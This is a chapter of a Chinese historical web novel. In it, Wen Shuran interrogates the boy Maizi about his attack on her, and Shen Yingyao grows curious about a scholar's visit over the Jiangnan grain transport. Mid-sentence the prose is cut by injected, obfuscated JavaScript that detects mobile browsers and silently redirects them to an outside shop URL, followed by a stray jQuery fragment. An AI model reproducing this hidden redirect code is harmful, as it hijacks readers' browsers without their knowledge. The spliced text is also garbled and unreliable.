“说说吧。”温舒苒坐在柴房另一头,一边拦着身边想冲上去跟他拼命的二黍,小菽眼泪汪汪,气得浑身发抖。
麦子看了小菽一眼,一语不发。
“你如今多少岁了?十五?二十?”她看向自己手中的匕首——真没想到兜兜转转还能捡回来,不知磨了什么,刀刃有些卷口,若要捅进人的身体里,必然连肉带血一起出来,“原来叫什么名字?”
小菽以为自己听错,几乎被吓了一跳,泪也不流了,直愣愣盯着麦子看。
他的情况很特殊,不是平常意义上单单不长个子的侏儒,而是垂体功能障碍导致的激素紊乱,甚至于他这幅模样,此生也不会改变了。
可惜古代人没有这个认知,若要遇到这种人,只觉得是撞了妖怪。
麦子又回头看她,动了动嘴唇,还是没说话。
温舒苒示意他看身边两个小孩:“好歹相识一场,到时候给你哭坟,也得有个正经称呼吧?”
她五官轮廓称不上温婉柔和,此时接连几句说下来,倒显示出难得的凌厉了。
麦子被她一激,唾了一口,“我管他们去死。”
“看来是十五。”她点了点头,让两个小孩先出门去了。
麦子忍不住在柱子上挣扎起来,若是可能,大抵要在她身上再扎几个血窟窿。
温舒苒缓缓吐出一口浊气,心想审人可真是个技术活,她依葫芦画瓢照电视剧上演的桥段端着架势,趁机再套几句话。
“我命大,没被你捅死,你尚不算一条道走到黑。”她话锋一转,“你方才认我作爹,我很感动,但,子不教,父之过,倒也成了我的错。”
麦子想起自己为了恶心温九而认贼作父,顿觉心口疼。
“你既不想死,给你个坦白从宽的机会。”温舒苒直截了当,“天高任鸟飞,你爹也不是这么不通情达理的人。”
麦子愤恨扭曲的内心正被她一口一个爹气得脑子发涨:“休想!我就是死,也绝不可能遂了你这个八婆的意!”
温舒苒摊手:“你要真想死,坟头草都三米高了吧,何必跟我搞什么弯弯绕绕。”
自从温九捡到麦子,他应当伪装得很好,哪怕被揍被打也无甚怨言,才让几个小孩误以为他们是同年龄的玩伴,可见之前,麦子知道自己异于常人不敢声张,也是想安稳活下去的。
而突然想杀她,应该有个契机,才让他选择了暴露自己。一举得手,麦子不敢回青云镇,只能沿路潜逃,长途跋涉进了苏州府,干的第一件事居然是抢别人的包子铺。
他根本不想死,反而太想活了。
不去抢角落的小吃铺,甚至明晃晃走到了这样一个高层大酒楼附近,潜意识应当也怀念以往在青云镇利来楼时的生活。
温舒苒眼眸微垂,想起了那个孤僻的阿稻。
被说中心思的麦子脸涨得通红,脑中才稍稍冷静下来——这温家狗被他捅了一刀,怎么还能这样和颜悦色?
相处久了,他自然也知道她不是笑里藏刀的性格,眼前的一切太过不合常理了。
温舒苒不跟他废话,内心大致有了判断,只需他补充几个细节。
若非报仇雪恨,好端端的怎么会选择杀人?
“你之前见过我么?”
自然指的是捡到他之前。
麦子梗着脖子,仍想抗拒到底。
“那就是没见过。”温舒苒点头,“继续。”
小孩难得愣了。
“不骂我是温狗,反而骂我是温家狗,就是忽然看出我和你口中那个温家有关联了。”温舒苒缓缓道,“那晚死了两个车夫。”
“为了保命,我不会任人宰割,符合行为逻辑,……是手法不对。”
这么具有标识性,难道这温家还是个杀手培训基地?
“你幼时有亲近之人被同样的手法杀害,但却能一直自愿跟在我身边而不去寻仇,看来是这个温家那时已经灭族了。”
麦子一句话没说,惊愕得脸色发白,没料想她竟然猜得全对。
看来温九是怎么都和那个恒王脱不开关系了。
温舒苒猛地
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17275247|198207||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
发觉了什么,语调微变。
“你亲身经历过四王之乱。”
*
沈婴瑶在府里呆得要发霉了。
生辰宴一过,各家青年才俊回府读书备考,连自己几个姐妹都销声匿迹,不爱走动了,她就是出去逛集市,也找不到人陪。
见色忘友!
她忿忿不平,让山楝给自己抓了一把瓜子。
山楝不忍,轻声道:“常州谢大人的得意门生,听说是个叫季泽的,白山人氏,今早拜访老爷,模样怪好,小姐可去看看?”
沈婴瑶兴趣缺缺,觉得目前天下没有谁长得比温哥哥好看——介然哥哥的模样姑且算她看腻了。
她想到年纪轻轻的温哥哥却已经拖家带口,又被那姓赵的虎视眈眈,当即悲愤交加,捶了一下坐垫。
不对。
谢大人?
那盆歪脖子西府海棠?
沈婴瑶嗑着瓜子,皱眉道,“他又来做什么?”
到底是沈公府大小姐,对朝中事多少有些耳闻,谢大人背靠江家众所周知,立刻联想到了她爹念叨过两三次的江南漕运。
哪家都想要,介然哥哥应当也不例外,否则怎会特意过来苏州府参加她的生辰宴?
掌握了江南漕运,几乎等于掌握了整个南方的财权。
一个烫手山芋,圣上随意点了个小官去管,便由着他们争得头破血流,沈知府没少因为这事得罪人。
沈婴瑶少不更事时曾问过亲爹,那为什么还要坚持呢?两党都不是省油的灯,不如早早站队,落一个清闲自在。
沈知府异常严肃,告诉她。
但凡他们有一点异心,圣上会将沈家毫不犹豫地连根拔起。
小时候的沈婴瑶吓坏了,看谁都觉得不是好人。
如此要事,谢文君竟只派一个小小门生过来交涉,是江家终于不甘心放弃,还是此人有什么特别之处,甚至能说动她爹?
沈婴瑶来了兴致,蹭地一下站了起来,拍了拍手上的瓜子皮,“走!我们去看看。”